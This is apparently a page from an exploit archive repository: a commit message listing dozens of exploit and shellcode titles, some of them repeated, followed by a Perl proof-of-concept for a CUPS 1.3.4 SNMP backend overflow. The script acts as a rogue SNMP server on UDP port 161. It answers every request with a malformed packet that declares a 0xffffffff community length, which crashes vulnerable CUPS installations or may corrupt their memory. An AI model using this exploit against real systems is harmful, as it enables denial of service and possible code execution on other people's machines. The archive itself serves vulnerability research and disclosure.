
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
50 lines
No EOL
1.7 KiB
Perl
Executable file
50 lines
No EOL
1.7 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/26917/info
|
|
|
|
Common UNIX Printing System (CUPS) is prone to a remote buffer-overflow vulnerability because the software fails to properly bounds-check user-supplied data before copying it to an insufficiently sized buffer.
|
|
|
|
Exploiting this issue allows attackers to execute arbitrary machine code in the context of users running the affected software. Failed exploit attempts will likely result in denial-of-service conditions.
|
|
|
|
This issue affects CUPS 1.2 and 1.3, prior to 1.3.5; other versions may also be vulnerable.
|
|
|
|
P0C:
|
|
===
|
|
#!/usr/bin/perl
|
|
#if 0
|
|
# backend_snmp_poc.pl write by wei_wang@mcafee.com
|
|
# 2007-11-06
|
|
#
|
|
# snmp.c asn1_get_string integer overflow cups 1.3.4
|
|
#
|
|
# packet->error = "No community name";
|
|
# else if ((length = asn1_get_length(&bufptr, bufend)) == 0)
|
|
# packet->error = "Community name uses indefinite length";
|
|
# else
|
|
# {
|
|
# asn1_get_string(&bufptr, bufend, length, packet->community,
|
|
# sizeof(packet->community));
|
|
#
|
|
# if ((packet->request_type = asn1_get_type(&bufptr, bufend))
|
|
#
|
|
#002a: 30 38 tag=0x30 len=0x38
|
|
#002c: 02 01 00 version:1 (0)
|
|
#002f: 04 84 ff ff ff ff 69 63 community:public
|
|
#len is 0xffffffff
|
|
#endif
|
|
|
|
my $payload ="\x30\x38\x02\x01\x00\x04\x84\xff\xff\xff\xff\x41\x41";
|
|
|
|
use strict;
|
|
my $PF_INET=2;
|
|
my $SOCK_DGRAM=2;
|
|
my $port=161;
|
|
my $proto=getprotobyname('udp');
|
|
my $addres=pack('SnC4x8',$PF_INET,$port,0,0,0,0);
|
|
my ($Cmd);
|
|
socket(SOCKET,$PF_INET,$SOCK_DGRAM,$proto) or die "Can't build a socket";
|
|
bind (SOCKET,$addres);
|
|
while(1)
|
|
{
|
|
my $rip=recv (SOCKET,$Cmd,100,0);
|
|
send (SOCKET,$payload,0,$rip) or die "send false";
|
|
print "$Cmd";
|
|
} |